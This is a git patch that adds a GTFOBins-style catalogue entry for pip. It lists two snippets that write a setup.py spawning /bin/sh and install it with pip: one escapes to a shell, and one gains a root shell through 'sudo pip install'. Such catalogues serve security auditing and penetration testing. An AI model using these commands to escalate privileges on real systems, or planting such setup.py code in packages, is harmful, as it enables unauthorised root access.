From 7d9465bd6ab3ec634d55a89e758e50ca62353ca2 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Thu, 6 Sep 2018 18:46:22 +0200 Subject: [PATCH] Add pip As suggested by #20. --- _gtfobins/pip.md | 14 ++++++++++++++ 1 file changed, 14 insertions(+) create mode 100644 _gtfobins/pip.md diff --git a/_gtfobins/pip.md b/_gtfobins/pip.md new file mode 100644 index 0000000..0e1df59 --- /dev/null +++ b/_gtfobins/pip.md @@ -0,0 +1,14 @@ +--- +description: More generally, this allows to execute arbitrary [Python](/gtfobins/python/) code. +functions: + execute-interactive: + - code: | + TF=$(mktemp -d) + echo 'import os; os.dup2(0, 1); os.dup2(0, 2); os.execl("/bin/sh", "sh")' > $TF/setup.py + pip install $TF + sudo-enabled: + - code: | + TF=$(mktemp -d) + echo 'import os; os.dup2(0, 1); os.dup2(0, 2); os.execl("/bin/sh", "sh")' > $TF/setup.py + sudo pip install $TF +---